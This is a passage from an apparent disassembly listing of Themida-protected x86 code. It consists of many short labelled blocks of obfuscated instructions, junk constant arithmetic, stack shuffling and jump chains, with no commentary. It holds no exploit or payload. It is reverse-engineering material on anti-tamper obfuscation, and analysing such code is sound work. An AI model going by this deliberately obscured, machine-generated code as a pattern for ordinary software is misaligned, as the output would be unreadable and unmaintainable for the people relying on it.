loc_597AF8:				; CODE XREF: Themida_:00594863j
		sub	ecx, 718EEA9Bh
		add	ebx, ecx
		pop	ecx
		pop	edi
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ebx, 1DD24576h
		add	edx, ebx
		pop	ebx
		jmp	loc_59F0C0
; ---------------------------------------------------------------------------


loc_597B1C:				; CODE XREF: Themida_:005949BBj
		mov	[esp], edi
		push	45A2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5910FC
; ---------------------------------------------------------------------------


loc_597B30:				; CODE XREF: Themida_:005A2E96j
		mov	ecx, 73FD494Dh
		or	ebp, ecx
		pop	ecx
		jmp	loc_598829
; ---------------------------------------------------------------------------


loc_597B3D:				; CODE XREF: Themida_:0059D8ABj
		xor	cl, 1Eh
		neg	cl
		and	cl, 0D9h
		push	edx
		jmp	loc_59C61A
; ---------------------------------------------------------------------------


loc_597B4B:				; CODE XREF: Themida_:005A372Aj
		add	esp, 4
		push	edx
		push	6589h
		mov	[esp], esp
		push	edx
		push	edi
		jmp	loc_5989B5
; ---------------------------------------------------------------------------


loc_597B61:				; CODE XREF: Themida_:0059F8C5j
		sub	al, 0C6h
		mov	dx, [esp]
		add	esp, 2
		add	al, 1Fh
		add	al, bl
		sub	al, 1Fh
		push	ebx
		mov	bh, 75h
		push	ecx
		push	eax
		mov	ah, 35h
		push	eax
		inc	byte ptr [esp+1]
		pop	eax
		push	edx
		jmp	loc_5922A6
; ---------------------------------------------------------------------------


loc_597B86:				; CODE XREF: Themida_:005A2FDFj
		add	edi, ebp
		pop	ebp
		jmp	loc_594FA5
; ---------------------------------------------------------------------------


loc_597B8E:				; CODE XREF: Themida_:0059181Cj
		xor	edx, 6DF15016h
		push	eax
		mov	eax, 0AD88ABEEh
		sub	edx, eax
		jmp	loc_591004
; ---------------------------------------------------------------------------


loc_597BA1:				; CODE XREF: Themida_:0059D782j
		add	al, 44h
		push	3ADFh
		mov	[esp], ebx
		jmp	loc_5A5609
; ---------------------------------------------------------------------------


loc_597BB0:				; CODE XREF: Themida_:005957DCj
		mov	bl, 0A5h
		xor	bl, 80h
		xor	bl, 22h
		shr	bl, 1
		jmp	loc_593ACE
; ---------------------------------------------------------------------------


loc_597BBF:				; CODE XREF: Themida_:0059CE86j
		push	ebp
		mov	ebp, 2C9909FEh
		inc	ebp
		inc	ebp
		jmp	loc_596E07
; ---------------------------------------------------------------------------


loc_597BCC:				; CODE XREF: Themida_:005A1343j
		add	esp, 4
		add	eax, 76132D26h
		push	ebx
		mov	ebx, 0B551B2Fh
		sub	eax, ebx
		pop	ebx
		sub	eax, 36046E0Ah
		sub	eax, ebp
		add	eax, 36046E0Ah
		push	ecx
		mov	ecx, 31BE614Ah
		xor	ecx, 22196995h
		jmp	loc_59972E
; ---------------------------------------------------------------------------


loc_597BFD:				; CODE XREF: Themida_:00598D20j
		add	esi, 0E57EA6E8h
		jmp	loc_597885
; ---------------------------------------------------------------------------


loc_597C08:				; CODE XREF: Themida_:0059AC4Cj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	5AA4h
		mov	[esp], esi
		jmp	loc_59E524
; ---------------------------------------------------------------------------


loc_597C1A:				; CODE XREF: Themida_:005949F9j
		pop	ebx
		xor	al, ch
		mov	cx, [esp]
		add	esp, 2
		xor	bl, al
		sub	esp, 4
		mov	[esp], ebx
		push	54D5h
		mov	[esp], ebp
		mov	ebp, 6E8D7E3Ah
		jmp	loc_5A201B
; ---------------------------------------------------------------------------


loc_597C41:				; CODE XREF: Themida_:0059C671j
		mov	ebp, 549851CAh
		push	edx
		jmp	loc_5A000F
; ---------------------------------------------------------------------------


loc_597C4C:				; CODE XREF: Themida_:005A371Ej
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_59085F
; ---------------------------------------------------------------------------


loc_597C65:				; CODE XREF: Themida_:005A3F50j
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_5947E3
; ---------------------------------------------------------------------------


loc_597C7B:				; CODE XREF: Themida_:00590822j
		xor	edi, 8C79B1C4h
		add	esi, edi
		pop	edi
		push	3943h
		mov	[esp], ebp
		mov	ebp, 20BD3565h
		sub	esi, 641C1F06h
		sub	esi, ebp
		add	esi, 641C1F06h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1295D6Ch
		add	esi, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59567C
; ---------------------------------------------------------------------------


loc_597CBB:				; CODE XREF: Themida_:0059F095j
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5A3A2A
; ---------------------------------------------------------------------------


loc_597CDD:				; CODE XREF: Themida_:0059D567j
		mov	ebx, 51F01FBh
		sub	esi, ebx
		pop	ebx
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59B339
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5910E4
; ---------------------------------------------------------------------------


loc_597CFB:				; CODE XREF: Themida_:0059F20Cj
		sub	esi, 38AC30F0h
		not	esi
		jmp	loc_596F87
; ---------------------------------------------------------------------------


loc_597D08:				; CODE XREF: Themida_:0059F3E8j
		mov	ebp, 3EB21B2h
		jmp	loc_599AE6
; ---------------------------------------------------------------------------


loc_597D12:				; CODE XREF: Themida_:00598ACAj
		inc	ebx
		xor	ebx, 722910CAh
		sub	eax, ebx
		jmp	loc_591E41
; ---------------------------------------------------------------------------


loc_597D20:				; CODE XREF: Themida_:0059C155j
		add	edi, 4
		jmp	loc_5A1009
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5936BC
; ---------------------------------------------------------------------------


loc_597D39:				; CODE XREF: Themida_:005971EAj
		push	esi
		push	476D9EEEh
		pop	esi
		jmp	loc_5A17EB
; ---------------------------------------------------------------------------


loc_597D45:				; CODE XREF: Themida_:0059D457j
		mov	ch, 39h
		jmp	loc_59529C
; ---------------------------------------------------------------------------


loc_597D4C:				; CODE XREF: Themida_:005A38F6j
		mov	esp, [esp]
		jmp	loc_592DCD
; ---------------------------------------------------------------------------


loc_597D54:				; CODE XREF: Themida_:0059D5F1j
		pop	esi
		add	esi, 378643F6h
		sub	esi, 620C2589h
		add	esi, eax
		add	esi, 620C2589h
		sub	esi, 378643F6h
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_59E029
; ---------------------------------------------------------------------------


loc_597D81:				; CODE XREF: Themida_:0059BA63j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_59CB45
; ---------------------------------------------------------------------------


loc_597D8F:				; CODE XREF: Themida_:00598238j
		mov	edi, 2E6AB196h
		add	edx, edi
		pop	edi
		neg	edx
		dec	edx
		jmp	loc_597370
; ---------------------------------------------------------------------------


loc_597D9F:				; CODE XREF: Themida_:005A04F9j
		sub	eax, 0E61EC2C5h
		mov	edx, eax
		pop	eax
		jmp	loc_5973E5
; ---------------------------------------------------------------------------


loc_597DAC:				; CODE XREF: Themida_:00590B8Fj
		pop	edi
		add	ebp, 3FD4689Ch
		jmp	loc_59F36D
; ---------------------------------------------------------------------------


loc_597DB8:				; CODE XREF: Themida_:00591D88j
		shr	dl, 1
		sub	dl, 28h
		sub	cl, dl
		jmp	loc_59A9FC
; ---------------------------------------------------------------------------


loc_597DC4:				; CODE XREF: Themida_:005A09C3j
		add	esp, 2
		sub	esp, 4
		jmp	loc_59EAE5
; ---------------------------------------------------------------------------


loc_597DD2:				; CODE XREF: Themida_:005A3F71j
		add	dh, 31h
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_59176C
; ---------------------------------------------------------------------------


loc_597DE1:				; CODE XREF: Themida_:00593F61j
		pop	ecx
		add	ebx, edx
		sub	ebx, 765B6DA6h
		push	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		jmp	loc_5A4D7C
; ---------------------------------------------------------------------------


loc_597DF6:				; CODE XREF: Themida_:0059C853j
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5A33D7
; ---------------------------------------------------------------------------


loc_597E08:				; CODE XREF: Themida_:005A51A0j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_5A151D
; ---------------------------------------------------------------------------


loc_597E1D:				; CODE XREF: Themida_:00598256j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 16C40D11h
		xor	ebp, 16C40D15h
		add	ecx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5933FC
; ---------------------------------------------------------------------------


loc_597E4D:				; CODE XREF: Themida_:005A47EEj
		sub	ecx, esi
		pop	esi
		push	edx
		mov	edx, 4AA727DCh
		add	ecx, edx
		pop	edx
		mov	[ecx], dl
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_591896
; ---------------------------------------------------------------------------


loc_597E6A:				; CODE XREF: Themida_:00597F5Aj
		inc	eax
		shr	eax, 2
		sub	eax, 689B2403h
		push	esi
		jmp	loc_59D667
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	46A0h
		mov	[esp], ebx
		push	edx
		push	4849h
		mov	[esp], ebx
		push	ecx
		mov	ch, 91h
		jmp	loc_59AC9E
; ---------------------------------------------------------------------------


loc_597E95:				; CODE XREF: Themida_:00592E01j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A2B25
; ---------------------------------------------------------------------------


loc_597EA3:				; CODE XREF: Themida_:0059A86Cj
		sub	eax, 1E492076h
		add	eax, edx
		add	eax, 1E492076h
		jmp	loc_59EC86
; ---------------------------------------------------------------------------


loc_597EB4:				; CODE XREF: Themida_:0059A5E3j
		add	eax, ebx
		add	eax, 7322705Eh
		push	esi
		jmp	loc_597020
; ---------------------------------------------------------------------------


loc_597EC1:				; CODE XREF: Themida_:005A3229j
		not	ebx
		jmp	loc_59B0E4
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_5A3F0E
; ---------------------------------------------------------------------------


loc_597ED3:				; CODE XREF: Themida_:005962C7j
		push	60225C8Bh
		pop	edx
		and	edx, 77C31509h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 67D810D6h
		xor	edi, 5773AF6h
		xor	edi, 7A9BF5D3h
		sub	edx, edi
		pop	edi
		sub	ebx, edx
		pop	edx
		push	edi
		mov	edi, 6B330F70h
		add	edi, 444C0661h
		sub	edi, 21EB1C63h
		neg	edi
		jmp	loc_59C2FF
; ---------------------------------------------------------------------------


loc_597F15:				; CODE XREF: Themida_:0059EAF0j
		add	al, 0Ah
		add	al, bh
		push	ebx
		mov	bl, 8Ah
		shr	bl, 7
		jmp	loc_5A3A5E
; ---------------------------------------------------------------------------


loc_597F24:				; CODE XREF: Themida_:0059FE9Cj
		sub	edi, 3C75C7B0h
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_5A5063
; ---------------------------------------------------------------------------


loc_597F3B:				; CODE XREF: Themida_:00593125j
		neg	ecx
		not	ecx
		sub	ecx, 0D509053Fh
		push	edi
		jmp	loc_5937C8
; ---------------------------------------------------------------------------


loc_597F4B:				; CODE XREF: Themida_:005969FDj
		pop	ecx
		push	39A7h
		mov	[esp], ebx
		push	eax
		mov	eax, 4BB60CBEh
		jmp	loc_597E6A
; ---------------------------------------------------------------------------


loc_597F5F:				; CODE XREF: Themida_:0059EE86j
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		push	3C1Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		mov	ebp, 4
		push	edi
		jmp	loc_590E27
; ---------------------------------------------------------------------------


loc_597F8E:				; CODE XREF: Themida_:005A3703j
		pop	ebx
		jmp	loc_5981EF
; ---------------------------------------------------------------------------


loc_597F94:				; CODE XREF: Themida_:0059898Bj
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_597FA7:				; CODE XREF: Themida_:005A5462j
		push	esi
		mov	esi, 31893F47h
		jmp	loc_59C1F1
; ---------------------------------------------------------------------------


loc_597FB2:				; CODE XREF: Themida_:005A27B5j
		pop	ebp
		add	ebp, 0AFF8C1B5h
		mov	edi, ebp
		jmp	loc_59CC4C
; ---------------------------------------------------------------------------


loc_597FC0:				; CODE XREF: Themida_:005904B4j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_59A0D2
; ---------------------------------------------------------------------------


loc_597FD0:				; CODE XREF: Themida_:0059CBF0j
		shr	esi, 5
		and	esi, 22B95AE4h
		shr	esi, 6
		push	edi
		jmp	loc_594911
; ---------------------------------------------------------------------------


loc_597FE2:				; CODE XREF: Themida_:005931F1j
		mov	[esp], eax
		jmp	loc_5A4B1A
; ---------------------------------------------------------------------------


loc_597FEA:				; CODE XREF: Themida_:00598824j
		push	233Ch
		mov	[esp], ebx
		mov	ebx, 347D6EC6h
		dec	ebx
		and	ebx, 50F613DCh
		push	edx
		mov	edx, 722714AAh
		xor	ebx, edx
		jmp	loc_5A3990
; ---------------------------------------------------------------------------


loc_59800B:				; CODE XREF: Themida_:005A00C1j
		mov	ax, [esp]
		push	58ADh
		mov	[esp], ebx
		jmp	loc_5919F0
; ---------------------------------------------------------------------------


loc_59801C:				; CODE XREF: Themida_:0059F044j
		add	esp, 4
		movzx	ecx, al
		jmp	loc_5990D8
; ---------------------------------------------------------------------------


loc_598027:				; CODE XREF: Themida_:005A163Dj
		add	eax, ebp
		pop	ebp
		sub	eax, 169749DFh
		add	eax, 3B06690h
		push	51EAh
		mov	[esp], esi
		mov	esi, 51490605h
		push	edi
		jmp	loc_594490
; ---------------------------------------------------------------------------


loc_598047:				; CODE XREF: Themida_:0059CEE1j
		pop	ecx
		add	[esp+8], edx
		jmp	loc_5916BD
; ---------------------------------------------------------------------------


loc_598051:				; CODE XREF: Themida_:005A1767j
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_5A49DD
; ---------------------------------------------------------------------------


loc_598065:				; CODE XREF: Themida_:0059BC48j
		mov	ecx, 395E2B95h
		xor	ecx, ebx
		pop	ebx
		push	edx
		jmp	loc_597A9C
; ---------------------------------------------------------------------------


loc_598073:				; CODE XREF: Themida_:005A482Fj
		add	ebp, 0FFFFFFFFh
		jmp	loc_598E5C
; ---------------------------------------------------------------------------


loc_59807E:				; CODE XREF: Themida_:005A1D25j
		pop	dword ptr [esp]
		jmp	loc_5A3CC8
; ---------------------------------------------------------------------------


loc_598086:				; CODE XREF: Themida_:005A52C5j
		add	[esp+4], eax
		pop	eax
		pop	ecx
		push	eax
		mov	eax, 11907163h
		push	62BCh
		mov	[esp], ebx
		mov	ebx, 73A779CAh
		dec	ebx
		xor	ebx, 400E4F14h
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5A52F4
; ---------------------------------------------------------------------------


loc_5980B0:				; CODE XREF: Themida_:005921F4j
		sub	al, 12h
		jmp	loc_59C11F
; ---------------------------------------------------------------------------


loc_5980B7:				; CODE XREF: Themida_:005975C5j
		add	esp, 2
		pop	small word ptr [esp]
		add	word ptr [esp],	2
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5980C8:				; CODE XREF: Themida_:005A15F9j
		add	edi, 4
		jmp	loc_59B209
; ---------------------------------------------------------------------------


loc_5980D3:				; CODE XREF: Themida_:005A083Bj
		not	ecx
		sub	ecx, 337E4FABh
		jmp	loc_595218
; ---------------------------------------------------------------------------


loc_5980E0:				; CODE XREF: Themida_:005A2C5Ej
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59E322
; ---------------------------------------------------------------------------


loc_5980EB:				; CODE XREF: Themida_:0059175Fj
		xor	ebx, 11D35B8Dh
		xor	ebx, 0E161C2h
		add	ebx, 0F3363A00h
		mov	edi, ebx
		pop	ebx
		sub	ecx, edi
		pop	edi
		inc	ecx
		jmp	loc_59D0D4
; ---------------------------------------------------------------------------


loc_598109:				; CODE XREF: Themida_:0059C56Fj
		mov	esi, 4
		sub	edi, 5F5139E1h
		add	edi, esi
		jmp	loc_59D2AC
; ---------------------------------------------------------------------------


loc_59811B:				; CODE XREF: Themida_:005A136Dj
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_591D25
; ---------------------------------------------------------------------------


loc_59812A:				; CODE XREF: Themida_:0059D8F9j
		shr	ebp, 4
		jmp	loc_5A0747
; ---------------------------------------------------------------------------


loc_598132:				; CODE XREF: Themida_:005A2558j
		push	ebx
		mov	ebx, 628F74FBh
		jmp	loc_59782B
; ---------------------------------------------------------------------------


loc_59813D:				; CODE XREF: Themida_:005A206Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		jmp	near ptr word_590496
; ---------------------------------------------------------------------------


loc_598158:				; CODE XREF: Themida_:005935D3j
		add	esp, 4
		sub	eax, 2B93DB4h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59F9D1
; ---------------------------------------------------------------------------


loc_598174:				; CODE XREF: Themida_:00594D4Ej
		add	esp, 4
		add	esp, 4
		jmp	loc_59692B
; ---------------------------------------------------------------------------


loc_598182:				; CODE XREF: Themida_:00592035j
		add	al, 4Eh
		sub	al, bh
		sub	al, 4Eh
		pop	ebx
		add	al, 45h
		sub	al, 91h
		sub	al, dl
		add	al, 91h
		sub	al, 45h
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 63h
		add	al, cl
		mov	cx, [esp]
		jmp	loc_5A3A7F
; ---------------------------------------------------------------------------


loc_5981A7:				; CODE XREF: Themida_:005A2A61j
		mov	cl, dl
		sub	esp, 4
		mov	[esp], edx
		mov	dh, cl
		jmp	loc_59B1D8
; ---------------------------------------------------------------------------


loc_5981B9:				; CODE XREF: Themida_:00599B1Aj
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_59E420
; ---------------------------------------------------------------------------


loc_5981C4:				; CODE XREF: Themida_:005A3647j
		mov	edi, 4FA22BC0h
		xor	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_59FD8C
; ---------------------------------------------------------------------------


loc_5981D6:				; CODE XREF: Themida_:00593535j
		mov	esp, [esp]
		jmp	loc_598A79
; ---------------------------------------------------------------------------


loc_5981DE:				; CODE XREF: Themida_:0059ABC8j
		xor	eax, 2D7C1FF8h
		push	edi
		jmp	loc_5A48D2
; ---------------------------------------------------------------------------


loc_5981E9:				; CODE XREF: Themida_:0059C0FCj
		pop	esi
		jmp	loc_5A2550
; ---------------------------------------------------------------------------


loc_5981EF:				; CODE XREF: Themida_:00597F8Fj
		neg	esi
		jmp	loc_5909F2
; ---------------------------------------------------------------------------


loc_5981F6:				; CODE XREF: Themida_:0059A48Dj
		add	ebx, 6BCE5BC7h
		add	ebx, edx
		push	eax
		mov	eax, 6BCE5BC7h
		sub	ebx, eax
		pop	eax
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5934E6
; ---------------------------------------------------------------------------


loc_598212:				; CODE XREF: Themida_:005A5286j
		mov	esi, 57115534h
		add	esi, 0A8EEAAD0h
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5942A8
; ---------------------------------------------------------------------------


loc_59822B:				; CODE XREF: Themida_:00593E0Ej
		mov	ebp, 30714347h
		not	ebp
		jmp	loc_59DE21
; ---------------------------------------------------------------------------


loc_598237:				; CODE XREF: Themida_:00590C9Aj
		push	edi
		jmp	loc_597D8F
; ---------------------------------------------------------------------------


loc_59823D:				; CODE XREF: Themida_:005A1CF5j
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5A21ED
; ---------------------------------------------------------------------------


loc_598248:				; CODE XREF: Themida_:005A151Ej
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_590544
; ---------------------------------------------------------------------------


loc_598253:				; CODE XREF: Themida_:005A54B0j
		xor	eax, [esp]
		jmp	loc_597E1D
; ---------------------------------------------------------------------------


loc_59825B:				; CODE XREF: Themida_:00595E08j
		push	edx
		jmp	loc_59D5F6
; ---------------------------------------------------------------------------


loc_598261:				; CODE XREF: Themida_:0059B380j
		mov	[esp], ecx
		mov	ch, 27h
		shr	ch, 1
		xor	ch, 0E2h
		jmp	loc_595049
; ---------------------------------------------------------------------------


loc_598270:				; CODE XREF: Themida_:00595ABAj
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59DB03
; ---------------------------------------------------------------------------


loc_598286:				; CODE XREF: Themida_:00597A37j
		shl	ecx, 5
		push	ebp
		mov	ebp, 0F9F578CEh
		sub	ecx, ebp
		pop	ebp
		xor	edx, ecx
		pop	ecx
		jmp	loc_5A0189
; ---------------------------------------------------------------------------


loc_59829A:				; CODE XREF: Themida_:005A1F5Ej
		xor	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 78533F6Dh
		inc	edi
		add	edi, 3A3F1936h
		add	edi, 4BB96C46h
		xor	edi, 0B1E9EF2Ah
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		shl	eax, cl
		jmp	loc_59B2C5
; ---------------------------------------------------------------------------


loc_5982D4:				; CODE XREF: Themida_:005A5147j
		mov	eax, [esp]
		add	esp, 4
		push	3E42h
		mov	[esp], edx
		mov	dl, 67h
		jmp	loc_5957D9
; ---------------------------------------------------------------------------


loc_5982E9:				; CODE XREF: Themida_:0059D9C8j
		xchg	edx, [esp]
		jmp	loc_590D50
; ---------------------------------------------------------------------------


loc_5982F1:				; CODE XREF: Themida_:0059F7C4j
		pop	ebp
		add	ebp, 5C873FBDh
		add	ebp, 0B5B0A7D1h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5A4722
; ---------------------------------------------------------------------------


loc_598306:				; CODE XREF: Themida_:0059F8F8j
		mov	esp, [esp]
		or	ecx, ecx
		jz	loc_591A19
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A3762
; ---------------------------------------------------------------------------


loc_59831E:				; CODE XREF: Themida_:005A3B56j
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	dword ptr [edx+30h], 466649C0h
		push	ebx
		jmp	loc_590EB4
; ---------------------------------------------------------------------------


loc_598338:				; CODE XREF: Themida_:005A4432j
		xchg	esi, [esp]
		jmp	loc_59C358
; ---------------------------------------------------------------------------


loc_598340:				; CODE XREF: Themida_:0059BA28j
		add	esp, 4
		mov	bh, ah
		mov	eax, [esp]
		add	esp, 4
		mov	cx, [esp]
		add	esp, 2
		xor	bh, al
		xor	al, bh
		xor	bh, al
		push	ebx
		mov	bh, 0CAh
		shr	bh, 5
		sub	bh, 0C6h
		dec	bh
		dec	bh
		shr	bh, 2
		jmp	loc_59B358
; ---------------------------------------------------------------------------


loc_59836D:				; CODE XREF: Themida_:00594672j
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A11CB
; ---------------------------------------------------------------------------


loc_598383:				; CODE XREF: Themida_:005906F1j
		pop	ebx
		pop	ebp
		push	546Ch
		mov	[esp], ecx
		push	edi
		push	ecx
		mov	ecx, 6B7A7A00h
		mov	edi, ecx
		jmp	loc_5A0840
; ---------------------------------------------------------------------------


loc_59839B:				; CODE XREF: Themida_:005A2EC8j
		add	esp, 4
		push	712Ch
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		push	40151CF2h
		pop	ebx
		xchg	edi, ebx
		jmp	loc_59BB2E
; ---------------------------------------------------------------------------


loc_5983BD:				; CODE XREF: Themida_:005A244Dj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_594D59
; ---------------------------------------------------------------------------


loc_5983CE:				; CODE XREF: Themida_:0059D648j
		pop	eax
		jmp	loc_5A4C49
; ---------------------------------------------------------------------------


loc_5983D4:				; CODE XREF: Themida_:0059E412j
		and	ebp, 3733145Fh
		add	ebp, 0CF000D0Eh
		mov	edx, ebp
		pop	ebp
		inc	edx
		shl	edx, 7
		jmp	loc_59E6DC
; ---------------------------------------------------------------------------


loc_5983EC:				; CODE XREF: Themida_:0059E1E9j
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5983F4:				; CODE XREF: Themida_:005907D7j
		dec	edx
		not	edx
		shr	edx, 2
		add	edx, 0DD064F09h
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 267964C9h
		not	esi
		jmp	loc_59DB8A
; ---------------------------------------------------------------------------


loc_598410:				; CODE XREF: Themida_:0059EBBDj
		add	esp, 4
		jmp	loc_59A12C
; ---------------------------------------------------------------------------


loc_59841B:				; CODE XREF: Themida_:0059E57Bj
		shl	esi, 6
		push	ebx
		mov	ebx, 38904290h
		and	esi, ebx
		jmp	loc_59BB5D
; ---------------------------------------------------------------------------


loc_59842B:				; CODE XREF: Themida_:00599448j
		shl	esi, 8
		add	esi, 24B26704h
		push	esi
		jmp	loc_590681
; ---------------------------------------------------------------------------


loc_59843A:				; CODE XREF: Themida_:005A1802j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		jmp	loc_59BCD9
; ---------------------------------------------------------------------------


loc_598447:				; CODE XREF: Themida_:00594889j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59416E
; ---------------------------------------------------------------------------


loc_598455:				; CODE XREF: Themida_:00599AB1j
		add	ecx, 82DFA862h
		add	ebx, ecx
		jmp	loc_5A08A8
; ---------------------------------------------------------------------------


loc_598462:				; CODE XREF: Themida_:0059F43Cj
		sub	ebx, 302B61B4h
		pop	ecx
		sub	edx, ebx
		pop	ebx
		jmp	loc_5A480F
; ---------------------------------------------------------------------------


loc_598471:				; CODE XREF: Themida_:00597328j
		push	edx
		jmp	loc_59A7A1
; ---------------------------------------------------------------------------


loc_598477:				; CODE XREF: Themida_:005991E5j
		mov	eax, 3C7B6DA6h
		sub	esi, eax
		pop	eax
		jmp	loc_5A3C7B
; ---------------------------------------------------------------------------


loc_598484:				; CODE XREF: Themida_:00590A61j
		mov	[esp], ebx
		mov	ebx, 2A047178h
		push	edx
		jmp	loc_5A0DE1
; ---------------------------------------------------------------------------


loc_598492:				; CODE XREF: Themida_:005A293Ej
		or	edi, ebx
		jmp	loc_5A4A0B
; ---------------------------------------------------------------------------


loc_598499:				; CODE XREF: Themida_:0059D889j
		or	esi, ebp
		pop	ebp
		sub	esi, 682E4FC5h
		or	esi, 50D35888h
		xor	esi, 0D0D6FA37h
		add	ecx, esi
		pop	esi
		push	ebp
		push	9F9C2889h
		pop	ebp
		add	ecx, ebp
		pop	ebp
		sub	eax, ecx
		pop	ecx
		sub	eax, 0C563B5D7h
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_5A1D04
; ---------------------------------------------------------------------------


loc_5984CD:				; CODE XREF: Themida_:005A1780j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_59098B
; ---------------------------------------------------------------------------


loc_5984E1:				; CODE XREF: Themida_:00599DD4j
		inc	eax
		jmp	loc_594229
; ---------------------------------------------------------------------------


loc_5984E7:				; CODE XREF: Themida_:005A4BBEj
		and	ecx, 1CCC4D9Ch
		push	edi
		mov	edi, 78D719B8h
		add	ecx, edi
		pop	edi
		dec	ecx
		xor	ecx, 911F1DB3h
		add	edx, ecx
		pop	ecx
		jmp	loc_597949
; ---------------------------------------------------------------------------


loc_598505:				; CODE XREF: Themida_:005A0EFBj
		sub	ebp, 0CEAAD356h
		add	esi, ebp
		jmp	loc_593353
; ---------------------------------------------------------------------------


loc_598512:				; CODE XREF: Themida_:00597A68j
		mov	[esp], ebp
		add	dword ptr [esp], 2D3E3B5Ah
		mov	esi, [esp]
		jmp	loc_599AEE
; ---------------------------------------------------------------------------


loc_598524:				; CODE XREF: Themida_:0059DEC1j
		or	bh, 8Ch
		not	bh
		xor	bh, 0CFh
		jmp	loc_59E7F0
; ---------------------------------------------------------------------------


loc_598531:				; CODE XREF: Themida_:00596E7Aj
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_5A071D
; ---------------------------------------------------------------------------


loc_598545:				; CODE XREF: Themida_:005A20DBj
		inc	dword ptr [esp]
		pop	esi
		add	esi, 0DA46D300h
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	64B4h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2779524Fh
